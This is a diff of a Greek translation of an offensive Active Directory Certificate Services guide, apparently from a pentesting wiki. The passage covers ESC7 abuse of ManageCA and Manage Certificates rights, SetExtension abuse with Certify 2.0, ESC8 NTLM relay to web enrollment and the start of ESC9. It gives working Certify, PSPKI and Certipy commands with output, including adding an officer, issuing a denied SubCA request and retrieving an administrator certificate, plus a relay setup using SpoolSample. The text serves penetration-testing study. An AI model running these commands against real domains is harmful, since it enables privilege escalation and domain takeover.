με εντολές όπως: ```bash Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access ``` -Αυτό παρέχει πληροφορίες σχετικά με τα κύρια δικαιώματα, δηλαδή **`ManageCA`** και **`ManageCertificates`**, που σχετίζονται με τους ρόλους του “CA administrator” και “Certificate Manager” αντίστοιχα. +Αυτό παρέχει πληροφορίες σχετικά με τα κύρια δικαιώματα, δηλαδή **`ManageCA`** και **`ManageCertificates`**, τα οποία αντιστοιχούν στους ρόλους «Διαχειριστής CA» και «Διαχειριστής Πιστοποιητικών» αντίστοιχα. #### Κατάχρηση -Η κατοχή δικαιωμάτων **`ManageCA`** σε μια αρχή πιστοποίησης επιτρέπει στον κύριο να χειρίζεται ρυθμίσεις απομακρυσμένα χρησιμοποιώντας PSPKI. Αυτό περιλαμβάνει την εναλλαγή της σημαίας **`EDITF_ATTRIBUTESUBJECTALTNAME2`** για να επιτρέπεται η καθορισμός SAN σε οποιοδήποτε πρότυπο, μια κρίσιμη πτυχή της κλιμάκωσης τομέα. +Η κατοχή των δικαιωμάτων **`ManageCA`** σε μια certificate authority επιτρέπει στην οντότητα να χειρίζεται ρυθμίσεις απομακρυσμένα με χρήση του PSPKI. Αυτό περιλαμβάνει την εναλλαγή του flag **`EDITF_ATTRIBUTESUBJECTALTNAME2`** για να επιτραπεί ο καθορισμός SAN σε οποιοδήποτε πρότυπο, ένα κρίσιμο στοιχείο για την ανύψωση προνομίων στο domain. -Η απλοποίηση αυτής της διαδικασίας είναι εφικτή μέσω της χρήσης του cmdlet **Enable-PolicyModuleFlag** του PSPKI, επιτρέποντας τροποποιήσεις χωρίς άμεση αλληλεπίδραση με το GUI. +Η απλοποίηση αυτής της διαδικασίας είναι εφικτή μέσω του cmdlet **Enable-PolicyModuleFlag** του PSPKI, επιτρέποντας τροποποιήσεις χωρίς άμεση αλληλεπίδραση με το GUI. -Η κατοχή δικαιωμάτων **`ManageCertificates`** διευκολύνει την έγκριση εκκρεμών αιτημάτων, παρακάμπτοντας αποτελεσματικά την προστασία "έγκριση διαχειριστή πιστοποιητικού CA". +Η κατοχή των δικαιωμάτων **`ManageCertificates`** διευκολύνει την έγκριση εκκρεμών αιτήσεων, παρακάμπτοντας στην ουσία την προφύλαξη «έγκριση διαχειριστή πιστοποιητικού CA». -Μια συνδυασμένη χρήση των μονάδων **Certify** και **PSPKI** μπορεί να χρησιμοποιηθεί για να ζητήσει, να εγκρίνει και να κατεβάσει ένα πιστοποιητικό: +Μια συνδυασμένη χρήση των modules **Certify** και **PSPKI** μπορεί να χρησιμοποιηθεί για να ζητηθεί, να εγκριθεί και να ληφθεί ένα πιστοποιητικό: ```bash # Request a certificate that will require an approval Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded @@ -247,33 +266,33 @@ Get-CertificationAuthority -ComputerName dc.domain.local | Get-PendingRequest -R # Download the certificate Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336 ``` -### Attack 2 +### Επίθεση 2 -#### Explanation +#### Εξήγηση > [!WARNING] -> Στην **προηγούμενη επίθεση** **`Manage CA`** χρησιμοποιήθηκαν δικαιώματα για να **ενεργοποιηθεί** η σημαία **EDITF_ATTRIBUTESUBJECTALTNAME2** για να εκτελεστεί η **ESC6 επίθεση**, αλλά αυτό δεν θα έχει καμία επίδραση μέχρι να επανεκκινηθεί η υπηρεσία CA (`CertSvc`). Όταν ένας χρήστης έχει το δικαίωμα πρόσβασης **`Manage CA`**, επιτρέπεται επίσης να **επανεκκινήσει την υπηρεσία**. Ωστόσο, **δεν σημαίνει ότι ο χρήστης μπορεί να επανεκκινήσει την υπηρεσία απομακρυσμένα**. Επιπλέον, η **ESC6 μπορεί να μην λειτουργεί κατευθείαν** σε τις περισσότερες περιβαλλόντων που έχουν διορθωθεί λόγω των ενημερώσεων ασφαλείας του Μαΐου 2022. +> Στην **προηγούμενη επίθεση** οι άδειες **`Manage CA`** χρησιμοποιήθηκαν για να **ενεργοποιήσουν** τη σημαία **EDITF_ATTRIBUTESUBJECTALTNAME2** για να εκτελέσουν την **ESC6 attack**, αλλά αυτό δεν θα έχει κανένα αποτέλεσμα μέχρι η υπηρεσία CA (`CertSvc`) να επανεκκινηθεί. Όταν ένας χρήστης έχει το δικαίωμα πρόσβασης `Manage CA`, του επιτρέπεται επίσης να **επανεκκινήσει την υπηρεσία**. Ωστόσο, αυτό **δεν σημαίνει ότι ο χρήστης μπορεί να επανεκκινήσει την υπηρεσία απομακρυσμένα**. Επιπλέον, E**SC6 might not work out of the box** στα περισσότερα ενημερωμένα περιβάλλοντα λόγω των ενημερώσεων ασφάλειας του Μαΐου 2022. -Επομένως, μια άλλη επίθεση παρουσιάζεται εδώ. +Συνεπώς, παρουσιάζεται εδώ μια άλλη επίθεση. -Perquisites: +Προαπαιτούμενα: -- Μόνο **`ManageCA` δικαίωμα** -- Δικαίωμα **`Manage Certificates`** (μπορεί να παραχωρηθεί από **`ManageCA`**) -- Το πρότυπο πιστοποιητικού **`SubCA`** πρέπει να είναι **ενεργοποιημένο** (μπορεί να ενεργοποιηθεί από **`ManageCA`**) +- Μόνο **`ManageCA` permission** +- **`Manage Certificates`** permission (μπορεί να παραχωρηθεί από **`ManageCA`**) +- Το πρότυπο πιστοποιητικού **`SubCA`** πρέπει να είναι **enabled** (μπορεί να ενεργοποιηθεί από **`ManageCA`**) -Η τεχνική βασίζεται στο γεγονός ότι οι χρήστες με το δικαίωμα πρόσβασης `Manage CA` _και_ `Manage Certificates` μπορούν να **εκδίδουν αποτυχημένα αιτήματα πιστοποιητικών**. Το πρότυπο πιστοποιητικού **`SubCA`** είναι **ευάλωτο στην ESC1**, αλλά **μόνο οι διαχειριστές** μπορούν να εγγραφούν στο πρότυπο. Έτσι, ένας **χρήστης** μπορεί να **ζητήσει** να εγγραφεί στο **`SubCA`** - το οποίο θα **αρνηθεί** - αλλά **στη συνέχεια θα εκδοθεί από τον διαχειριστή**. +Η τεχνική βασίζεται στο γεγονός ότι οι χρήστες με τα δικαιώματα `Manage CA` _και_ `Manage Certificates` μπορούν να **εκδίδουν αποτυχημένα αιτήματα πιστοποιητικών**. Το πρότυπο πιστοποιητικού **`SubCA`** είναι **vulnerable to ESC1**, αλλά **μόνο οι διαχειριστές** μπορούν να εγγραφούν στο πρότυπο. Έτσι, ένας **χρήστης** μπορεί να **αιτηθεί** εγγραφή στο **`SubCA`** — η οποία θα **απορριφθεί** — αλλά στη συνέχεια να **εκδοθεί από τον διαχειριστή**. -#### Abuse +#### Κατάχρηση -Μπορείτε να **παραχωρήσετε στον εαυτό σας το δικαίωμα `Manage Certificates`** προσθέτοντας τον χρήστη σας ως νέο αξιωματούχο. +Μπορείς να **παραχωρήσεις στον εαυτό σου το δικαίωμα `Manage Certificates`** προσθέτοντας τον χρήστη σου ως νέο officer. ```bash certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Successfully added officer 'John' on 'corp-DC-CA' ``` -Το **`SubCA`** πρότυπο μπορεί να **ενεργοποιηθεί στην CA** με την παράμετρο `-enable-template`. Από προεπιλογή, το πρότυπο `SubCA` είναι ενεργοποιημένο. +Το **`SubCA`** πρότυπο μπορεί να **ενεργοποιηθεί στον CA** με την παράμετρο `-enable-template`. Από προεπιλογή, το πρότυπο `SubCA` είναι ενεργοποιημένο. ```bash # List templates certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA' @@ -285,9 +304,9 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Successfully enabled 'SubCA' on 'corp-DC-CA' ``` -Αν έχουμε εκπληρώσει τις προϋποθέσεις για αυτήν την επίθεση, μπορούμε να ξεκινήσουμε **ζητώντας ένα πιστοποιητικό βασισμένο στο πρότυπο `SubCA`**. +Αν έχουμε εκπληρώσει τις προαπαιτήσεις για αυτή την επίθεση, μπορούμε να ξεκινήσουμε ζητώντας ένα πιστοποιητικό βάσει του προτύπου `SubCA`. -**Αυτή η αίτηση θα απορριφθεί**, αλλά θα αποθηκεύσουμε το ιδιωτικό κλειδί και θα σημειώσουμε το ID της αίτησης. +**Αυτό το αίτημα θα απορριφθεί**, αλλά θα αποθηκεύσουμε το ιδιωτικό κλειδί και θα σημειώσουμε το ID του αιτήματος. ```bash certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -299,14 +318,14 @@ Would you like to save the private key? (y/N) y [*] Saved private key to 785.key [-] Failed to request certificate ``` -Με τα **`Manage CA` και `Manage Certificates`**, μπορούμε στη συνέχεια να **εκδώσουμε το αποτυχημένο αίτημα πιστοποίησης** με την εντολή `ca` και την παράμετρο `-issue-request `. +Με τα δικαιώματά μας **`Manage CA` και `Manage Certificates`**, μπορούμε στη συνέχεια να **εκδώσουμε το αποτυχημένο αίτημα πιστοποιητικού** με την εντολή `ca` και την παράμετρο `-issue-request `. ```bash certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Successfully issued certificate ``` -Και τελικά, μπορούμε να **ανακτήσουμε το εκδοθέν πιστοποιητικό** με την εντολή `req` και την παράμετρο `-retrieve `. +Και τέλος, μπορούμε να **ανακτήσουμε το εκδοθέν πιστοποιητικό** με την εντολή `req` και την παράμετρο `-retrieve `. ```bash certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785 Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -318,68 +337,68 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Loaded private key from '785.key' [*] Saved certificate and private key to 'administrator.pfx' ``` -### Attack 3 – Abuse της Επέκτασης Διαχείρισης Πιστοποιητικών (SetExtension) +### Επίθεση 3 – Κατάχρηση Manage Certificates Extension (SetExtension) -#### Εξήγηση +#### Επεξήγηση -Εκτός από τις κλασικές καταχρήσεις ESC7 (ενεργοποίηση χαρακτηριστικών EDITF ή έγκριση εκκρεμών αιτημάτων), το **Certify 2.0** αποκάλυψε μια ολοκαίνουργια πρωτοβουλία που απαιτεί μόνο το ρόλο *Διαχείρισης Πιστοποιητικών* (γνωστός και ως **Διαχειριστής / Υπάλληλος Πιστοποιητικών**) στην Επιχειρησιακή CA. +Επιπλέον των κλασικών καταχρήσεων ESC7 (ενεργοποίηση EDITF attributes ή έγκριση εκκρεμών αιτήσεων), **Certify 2.0** αποκάλυψε ένα καινούριο primitive που απαιτεί μόνο το ρόλο *Manage Certificates* (γνωστό και ως **Certificate Manager / Officer**) στον Enterprise CA. -Η μέθοδος `ICertAdmin::SetExtension` RPC μπορεί να εκτελείται από οποιονδήποτε φορέα κατέχει *Διαχείριση Πιστοποιητικών*. Ενώ η μέθοδος χρησιμοποιούνταν παραδοσιακά από νόμιμες CAs για την ενημέρωση επεκτάσεων σε **εκκρεμή** αιτήματα, ένας επιτιθέμενος μπορεί να την καταχραστεί για να **προσθέσει μια *μη προεπιλεγμένη* επέκταση πιστοποιητικού** (για παράδειγμα, μια προσαρμοσμένη OID *Πολιτικής Έκδοσης Πιστοποιητικών* όπως `1.1.1.1`) σε ένα αίτημα που περιμένει έγκριση. +Η μέθοδος RPC `ICertAdmin::SetExtension` μπορεί να εκτελεστεί από οποιονδήποτε principal έχει το *Manage Certificates*. Ενώ η μέθοδος χρησιμοποιείτο παραδοσιακά από νόμιμους CAs για να ενημερώνει extensions σε **pending** requests, ένας επιτιθέμενος μπορεί να την καταχραστεί για να **προσθέσει μια *μη-προεπιλεγμένη* certificate extension** (π.χ. ένα custom *Certificate Issuance Policy* OID όπως `1.1.1.1`) σε ένα request που περιμένει έγκριση. -Δεδομένου ότι το στοχευμένο πρότυπο **δεν ορίζει προεπιλεγμένη τιμή για αυτήν την επέκταση**, η CA ΔΕΝ θα αντικαταστήσει την τιμή που ελέγχεται από τον επιτιθέμενο όταν το αίτημα τελικά εκδοθεί. Το προκύπτον πιστοποιητικό περιέχει επομένως μια επέκταση που έχει επιλεγεί από τον επιτιθέμενο και μπορεί να: +Επειδή το στοχευόμενο template **δεν ορίζει προεπιλεγμένη τιμή για αυτή την επέκταση**, ο CA δεν θα αντικαταστήσει την τιμή που ελέγχεται από τον επιτιθέμενο όταν η αίτηση τελικά εκδοθεί. Το προκύπτον πιστοποιητικό επομένως περιέχει μια επέκταση επιλεγμένη από τον επιτιθέμενο που μπορεί να: -* Ικανοποιήσει τις απαιτήσεις Πολιτικής Εφαρμογής / Έκδοσης άλλων ευάλωτων προτύπων (οδηγώντας σε κλιμάκωση προνομίων). -* Εισάγει επιπλέον EKUs ή πολιτικές που παρέχουν στο πιστοποιητικό απροσδόκητη εμπιστοσύνη σε τρίτα συστήματα. +* Ικανοποιήσει απαιτήσεις Application / Issuance Policy άλλων ευάλωτων templates (οδηγώντας σε ανύψωση προνομίων). +* Εισαγάγει επιπλέον EKUs ή πολιτικές που χορηγούν στο πιστοποιητικό απροσδόκητη εμπιστοσύνη σε τρίτα συστήματα. -Με απλά λόγια, η *Διαχείριση Πιστοποιητικών* – που προηγουμένως θεωρούνταν το “λιγότερο ισχυρό” μισό του ESC7 – μπορεί τώρα να αξιοποιηθεί για πλήρη κλιμάκωση προνομίων ή μακροχρόνια επιμονή, χωρίς να αγγίξει τη διαμόρφωση της CA ή να απαιτεί το πιο περιοριστικό δικαίωμα *Διαχείρισης CA*. +Εν ολίγοις, το *Manage Certificates* — που προηγουμένως θεωρούνταν το «λιγότερο ισχυρό» μισό του ESC7 — μπορεί τώρα να αξιοποιηθεί για πλήρη ανύψωση προνομίων ή μακροχρόνια επιμονή, χωρίς να αγγίξει την παραμετροποίηση του CA ή να απαιτήσει το πιο περιοριστικό δικαίωμα *Manage CA*. -#### Κατάχρηση της πρωτοβουλίας με το Certify 2.0 +#### Κατάχρηση του primitive με Certify 2.0 -1. **Υποβάλετε ένα αίτημα πιστοποιητικού που θα παραμείνει *εκκρεμές*.** Αυτό μπορεί να επιβληθεί με ένα πρότυπο που απαιτεί έγκριση διαχειριστή: +1. **Υποβάλετε ένα certificate request που θα παραμείνει *pending*.** Αυτό μπορεί να εξαναγκαστεί με ένα template που απαιτεί manager approval: ```powershell Certify.exe request --ca SERVER\\CA-NAME --template SecureUser --subject "CN=User" --manager-approval -# Σημειώστε το επιστρεφόμενο ID Αιτήματος +# Take note of the returned Request ID ``` -2. **Προσθέστε μια προσαρμοσμένη επέκταση στο εκκρεμές αίτημα** χρησιμοποιώντας την νέα εντολή `manage-ca`: +2. **Προσθέστε μια custom extension στο pending request** χρησιμοποιώντας την καινούρια εντολή `manage-ca`: ```powershell Certify.exe manage-ca --ca SERVER\\CA-NAME \ --request-id 1337 \ ---set-extension "1.1.1.1=DER,10,01 01 00 00" # ψεύτικη πολιτική έκδοσης OID +--set-extension "1.1.1.1=DER,10,01 01 00 00" # fake issuance-policy OID ``` -*Εάν το πρότυπο δεν ορίζει ήδη την επέκταση *Πολιτικές Έκδοσης Πιστοποιητικών*, η παραπάνω τιμή θα διατηρηθεί μετά την έκδοση.* +*Αν το template δεν ορίζει ήδη την επέκταση *Certificate Issuance Policies*, η παραπάνω τιμή θα διατηρηθεί μετά την έκδοση.* -3. **Εκδώστε το αίτημα** (εάν ο ρόλος σας έχει επίσης δικαιώματα έγκρισης *Διαχείρισης Πιστοποιητικών*) ή περιμένετε να το εγκρίνει ένας χειριστής. Μόλις εκδοθεί, κατεβάστε το πιστοποιητικό: +3. **Εκδώστε την αίτηση** (αν ο ρόλος σας έχει επίσης δικαιώματα έγκρισης *Manage Certificates*) ή περιμένετε έναν χειριστή να την εγκρίνει. Μόλις εκδοθεί, κατεβάστε το πιστοποιητικό: ```powershell Certify.exe request-download --ca SERVER\\CA-NAME --id 1337 ``` -4. Το προκύπτον πιστοποιητικό περιέχει τώρα το κακόβουλο OID πολιτικής έκδοσης και μπορεί να χρησιμοποιηθεί σε επόμενες επιθέσεις (π.χ. ESC13, κλιμάκωση τομέα, κ.λπ.). +4. Το προκύπτον πιστοποιητικό τώρα περιέχει το κακόβουλο issuance-policy OID και μπορεί να χρησιμοποιηθεί σε επακόλουθες επιθέσεις (π.χ. ESC13, domain escalation, κ.λπ.). -> ΣΗΜΕΙΩΣΗ: Η ίδια επίθεση μπορεί να εκτελεστεί με το Certipy ≥ 4.7 μέσω της εντολής `ca` και της παραμέτρου `-set-extension`. +> ΣΗΜΕΙΩΣΗ: Η ίδια επίθεση μπορεί να εκτελεστεί με Certipy ≥ 4.7 μέσω της εντολής `ca` και της παραμέτρου `-set-extension`. -## NTLM Relay σε AD CS HTTP Endpoints – ESC8 +## NTLM Relay to AD CS HTTP Endpoints – ESC8 -### Εξήγηση +### Επεξήγηση > [!TIP] -> Σε περιβάλλοντα όπου **έχει εγκατασταθεί το AD CS**, εάν υπάρχει ένα **ευάλωτο σημείο καταχώρησης ιστού** και τουλάχιστον ένα **πρότυπο πιστοποιητικού έχει δημοσιευθεί** που επιτρέπει **την καταχώρηση υπολογιστών τομέα και την πιστοποίηση πελατών** (όπως το προεπιλεγμένο **`Machine`** πρότυπο), γίνεται δυνατή η **κατάχρηση από οποιονδήποτε υπολογιστή με ενεργή υπηρεσία spooler από έναν επιτιθέμενο**! +> Σε περιβάλλοντα όπου **AD CS is installed**, εάν υπάρχει ένα **ευπαθές web enrollment endpoint** και τουλάχιστον ένα **certificate template is published** που επιτρέπει **domain computer enrollment and client authentication** (όπως το προεπιλεγμένο **`Machine`** template), γίνεται δυνατό για **οποιονδήποτε υπολογιστή με ενεργή την spooler service να υποκλέπτεται από επιτιθέμενο**! -Διάφορες **μεθόδους καταχώρησης βασισμένες σε HTTP** υποστηρίζονται από το AD CS, που διατίθενται μέσω πρόσθετων ρόλων διακομιστή που μπορεί να εγκαταστήσουν οι διαχειριστές. Αυτές οι διεπαφές για την καταχώρηση πιστοποιητικών βασισμένων σε HTTP είναι ευάλωτες σε **επιθέσεις NTLM relay**. Ένας επιτιθέμενος, από μια **κατεστραμμένη μηχανή, μπορεί να προσποιηθεί οποιονδήποτε λογαριασμό AD που πιστοποιείται μέσω εισερχόμενου NTLM**. Ενώ προσποιείται τον λογαριασμό του θύματος, αυτές οι διεπαφές ιστού μπορούν να προσπελαστούν από έναν επιτιθέμενο για να **ζητήσει ένα πιστοποιητικό πιστοποίησης πελάτη χρησιμοποιώντας τα πρότυπα πιστοποιητικών `User` ή `Machine`**. +Πολλές μέθοδοι enrollment βάσει HTTP υποστηρίζονται από το AD CS, διαθέσιμες μέσω επιπλέον server roles που οι διαχειριστές μπορεί να εγκαταστήσουν. Αυτές οι διεπιφάνειες για HTTP-based certificate enrollment είναι ευάλωτες σε NTLM relay attacks. Ένας επιτιθέμενος, από έναν compromised machine, μπορεί να μιμηθεί οποιονδήποτε AD account που αυθεντικοποιείται μέσω εισερχόμενου NTLM. Ενώ μιμείται το θύμα, ο επιτιθέμενος μπορεί να προσπελάσει αυτές τις web διεπιφάνειες για να ζητήσει ένα client authentication certificate χρησιμοποιώντας τα `User` ή `Machine` certificate templates. -- Η **διεπαφή καταχώρησης ιστού** (μια παλαιότερη εφαρμογή ASP διαθέσιμη στο `http:///certsrv/`), προεπιλέγει μόνο HTTP, το οποίο δεν προσφέρει προστασία κατά των επιθέσεων NTLM relay. Επιπλέον, επιτρέπει ρητά μόνο την πιστοποίηση NTLM μέσω της HTTP κεφαλίδας εξουσιοδότησης της, καθιστώντας τις πιο ασφαλείς μεθόδους πιστοποίησης όπως το Kerberos μη εφαρμόσιμες. -- Η **Υπηρεσία Καταχώρησης Πιστοποιητικών** (CES), η **Υπηρεσία Πολιτικής Καταχώρησης Πιστοποιητικών** (CEP) και η **Υπηρεσία Καταχώρησης Δικτύου** (NDES) υποστηρίζουν προεπιλεγμένα την πιστοποίηση negotiate μέσω της HTTP κεφαλίδας εξουσιοδότησης τους. Η πιστοποίηση negotiate **υποστηρίζει και τα δύο** Kerberos και **NTLM**, επιτρέποντας σε έναν επιτιθέμενο να **υποβαθμίσει την πιστοποίηση σε NTLM** κατά τη διάρκεια επιθέσεων relay. Αν και αυτές οι διαδικτυακές υπηρεσίες ενεργοποιούν το HTTPS προεπιλεγμένα, το HTTPS από μόνο του **δεν προστατεύει από επιθέσεις NTLM relay**. Η προστασία από επιθέσεις NTLM relay για υπηρεσίες HTTPS είναι δυνατή μόνο όταν το HTTPS συνδυάζεται με την δέσμευση καναλιού. Δυστυχώς, το AD CS δεν ενεργοποιεί την Επεκτεταμένη Προστασία για Πιστοποίηση στο IIS, που απαιτείται για την δέσμευση καναλιού. +- Η **web enrollment interface** (μια παλαιότερη ASP εφαρμογή διαθέσιμη στο `http:///certsrv/`), εξ ορισμού χρησιμοποιεί μόνο HTTP, το οποίο δεν προσφέρει προστασία έναντι NTLM relay attacks. Επιπλέον, επιτρέπει ρητά μόνο NTLM authentication μέσω του Authorization HTTP header, καθιστώντας πιο ασφαλείς μεθόδους όπως το Kerberos μη εφαρμόσιμες. +- Η **Certificate Enrollment Service** (CES), το **Certificate Enrollment Policy** (CEP) Web Service, και η **Network Device Enrollment Service** (NDES) υποστηρίζουν εξ ορισμού negotiate authentication μέσω του Authorization HTTP header. Το negotiate authentication υποστηρίζει τόσο Kerberos όσο και **NTLM**, επιτρέποντας σε έναν επιτιθέμενο να υποβαθμίσει την αυθεντικοποίηση σε NTLM κατά τη διάρκεια relay attacks. Παρότι αυτές οι web υπηρεσίες ενεργοποιούν HTTPS ως προεπιλογή, μόνο το HTTPS δεν προστατεύει από NTLM relay attacks. Η προστασία από NTLM relay attacks για HTTPS υπηρεσίες είναι δυνατή μόνο όταν το HTTPS συνδυάζεται με channel binding. Δυστυχώς, το AD CS δεν ενεργοποιεί το Extended Protection for Authentication στο IIS, που απαιτείται για channel binding. -Ένα κοινό **πρόβλημα** με τις επιθέσεις NTLM relay είναι η **σύντομη διάρκεια των συνεδριών NTLM** και η αδυναμία του επιτιθέμενου να αλληλεπιδρά με υπηρεσίες που **απαιτούν υπογραφή NTLM**. +Ένα κοινό ζήτημα με τα NTLM relay attacks είναι η μικρή διάρκεια των NTLM sessions και η αδυναμία του επιτιθέμενου να αλληλεπιδράσει με υπηρεσίες που απαιτούν NTLM signing. -Ωστόσο, αυτός ο περιορισμός ξεπερνιέται εκμεταλλευόμενος μια επίθεση NTLM relay για να αποκτήσει ένα πιστοποιητικό για τον χρήστη, καθώς η διάρκεια ισχύος του πιστοποιητικού καθορίζει τη διάρκεια της συνεδρίας, και το πιστοποιητικό μπορεί να χρησιμοποιηθεί με υπηρεσίες που **απαιτούν υπογραφή NTLM**. Για οδηγίες σχετικά με τη χρήση ενός κλεμμένου πιστοποιητικού, ανατρέξτε σε: +Ωστόσο, αυτός ο περιορισμός ξεπερνιέται εκμεταλλευόμενος ένα NTLM relay attack για την απόκτηση ενός πιστοποιητικού για τον χρήστη, καθώς η διάρκεια ισχύος του πιστοποιητικού καθορίζει τη διάρκεια της σύνδεσης, και το πιστοποιητικό μπορεί να χρησιμοποιηθεί με υπηρεσίες που απαιτούν NTLM signing. Για οδηγίες σχετικά με τη χρήση ενός κλεμμένου πιστοποιητικού, ανατρέξτε στο: {{#ref}} account-persistence.md {{#endref}} -Ένας άλλος περιορισμός των επιθέσεων NTLM relay είναι ότι **μια μηχανή που ελέγχεται από τον επιτιθέμενο πρέπει να πιστοποιηθεί από έναν λογαριασμό θύματος**. Ο επιτιθέμενος θα μπορούσε είτε να περιμένει είτε να προσπαθήσει να **επιβάλει** αυτήν την πιστοποίηση: +Ένας άλλος περιορισμός των NTLM relay attacks είναι ότι μια attacker-controlled machine πρέπει να λάβει authentication από έναν victim account. Ο επιτιθέμενος μπορεί είτε να περιμένει είτε να προσπαθήσει να αναγκάσει αυτή την authentication: {{#ref}} @@ -388,13 +407,13 @@ account-persistence.md ### **Κατάχρηση** -[**Certify**](https://github.com/GhostPack/Certify)’s `cas` καταγράφει **ενεργοποιημένα HTTP AD CS endpoints**: +Η `cas` του [**Certify**](https://github.com/GhostPack/Certify) απαριθμεί τα **enabled HTTP AD CS endpoints**: ``` Certify.exe cas ```
-Η ιδιότητα `msPKI-Enrollment-Servers` χρησιμοποιείται από τις επιχειρηματικές Αρχές Πιστοποίησης (CAs) για να αποθηκεύει τα σημεία τερματισμού Υπηρεσίας Εγγραφής Πιστοποιητικών (CES). Αυτά τα σημεία τερματισμού μπορούν να αναλυθούν και να καταγραφούν χρησιμοποιώντας το εργαλείο **Certutil.exe**: +Η ιδιότητα `msPKI-Enrollment-Servers` χρησιμοποιείται από τις εταιρικές Certificate Authorities (CAs) για να αποθηκεύει τα endpoints του Certificate Enrollment Service (CES). Αυτά τα endpoints μπορούν να αναλυθούν και να απαριθμηθούν χρησιμοποιώντας το εργαλείο **Certutil.exe**: ``` certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA ``` @@ -405,7 +424,7 @@ Get-CertificationAuthority | select Name,Enroll* | Format-List * ```
-#### Κατάχρηση με το Certify +#### Κατάχρηση με Certify ```bash ## In the victim machine # Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine @@ -422,9 +441,11 @@ execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe < ``` #### Κατάχρηση με [Certipy](https://github.com/ly4k/Certipy) -Το αίτημα για ένα πιστοποιητικό γίνεται από το Certipy από προεπιλογή με βάση το πρότυπο `Machine` ή `User`, που καθορίζεται από το αν το όνομα του λογαριασμού που αναμεταδίδεται τελειώνει σε `$`. Η καθορισμός ενός εναλλακτικού προτύπου μπορεί να επιτευχθεί μέσω της χρήσης της παραμέτρου `-template`. +Το αίτημα για πιστοποιητικό γίνεται από το Certipy εξ ορισμού βάσει του προτύπου `Machine` ή `User`, που καθορίζεται από το αν το όνομα λογαριασμού που αναμεταδίδεται τελειώνει σε `$`. -Μια τεχνική όπως το [PetitPotam](https://github.com/ly4k/PetitPotam) μπορεί στη συνέχεια να χρησιμοποιηθεί για να εξαναγκάσει την αυθεντικοποίηση. Όταν ασχολείστε με ελεγκτές τομέα, απαιτείται ο καθορισμός του `-template DomainController`. +Ο καθορισμός εναλλακτικού προτύπου μπορεί να γίνει με τη χρήση της παραμέτρου `-template`. + +Μια τεχνική όπως [PetitPotam](https://github.com/ly4k/PetitPotam) μπορεί στη συνέχεια να χρησιμοποιηθεί για να εξαναγκάσει την αυθεντικοποίηση. Όταν πρόκειται για ελεγκτές τομέα, απαιτείται ο καθορισμός του `-template DomainController`. ```bash certipy relay -ca ca.corp.local Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -437,55 +458,55 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Saved certificate and private key to 'administrator.pfx' [*] Exiting... ``` -## No Security Extension - ESC9 +## Καμία επέκταση ασφαλείας - ESC9 -### Explanation +### Επεξήγηση -Η νέα τιμή **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) για **`msPKI-Enrollment-Flag`**, που αναφέρεται ως ESC9, αποτρέπει την ενσωμάτωση της **νέας `szOID_NTDS_CA_SECURITY_EXT` ασφάλειας** σε ένα πιστοποιητικό. Αυτή η σημαία γίνεται σχετική όταν το `StrongCertificateBindingEnforcement` είναι ρυθμισμένο σε `1` (η προεπιλεγμένη ρύθμιση), κάτι που αντιτίθεται σε μια ρύθμιση `2`. Η σημασία της αυξάνεται σε σενάρια όπου μια πιο αδύναμη αντιστοίχιση πιστοποιητικού για Kerberos ή Schannel θα μπορούσε να εκμεταλλευτεί (όπως στο ESC10), δεδομένου ότι η απουσία του ESC9 δεν θα άλλαζε τις απαιτήσεις. +Η νέα τιμή **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) για το **`msPKI-Enrollment-Flag`**, αναφερόμενη ως ESC9, αποτρέπει την ενσωμάτωση της **νέας `szOID_NTDS_CA_SECURITY_EXT` επέκτασης ασφαλείας** σε ένα πιστοποιητικό. Αυτό το flag γίνεται σημαντικό όταν το `StrongCertificateBindingEnforcement` είναι ρυθμισμένο σε `1` (η προεπιλεγμένη ρύθμιση), σε αντίθεση με τη ρύθμιση `2`. Η σημασία του ενισχύεται σε σενάρια όπου μια ασθενέστερη αντιστοίχιση πιστοποιητικού για Kerberos ή Schannel μπορεί να εκμεταλλευτεί (όπως στο ESC10), δεδομένου ότι η απουσία του ESC9 δεν θα άλλαζε τις απαιτήσεις. -Οι συνθήκες υπό τις οποίες η ρύθμιση αυτής της σημαίας γίνεται σημαντική περιλαμβάνουν: +Οι συνθήκες υπό τις οποίες η ρύθμιση αυτού του flag γίνεται σημαντική περιλαμβάνουν: -- Το `StrongCertificateBindingEnforcement` δεν έχει ρυθμιστεί σε `2` (με την προεπιλεγμένη να είναι `1`), ή οι `CertificateMappingMethods` περιλαμβάνουν τη σημαία `UPN`. -- Το πιστοποιητικό είναι σημειωμένο με τη σημαία `CT_FLAG_NO_SECURITY_EXTENSION` εντός της ρύθμισης `msPKI-Enrollment-Flag`. -- Οποιοδήποτε EKU πιστοποίησης πελάτη καθορίζεται από το πιστοποιητικό. -- Οι άδειες `GenericWrite` είναι διαθέσιμες σε οποιονδήποτε λογαριασμό για να συμβιβάσουν έναν άλλο. +- Το `StrongCertificateBindingEnforcement` δεν έχει προσαρμοστεί σε `2` (με προεπιλογή το `1`), ή το `CertificateMappingMethods` περιλαμβάνει το flag `UPN`. +- Το πιστοποιητικό έχει επισημανθεί με το flag `CT_FLAG_NO_SECURITY_EXTENSION` μέσα στη ρύθμιση `msPKI-Enrollment-Flag`. +- Κάθε 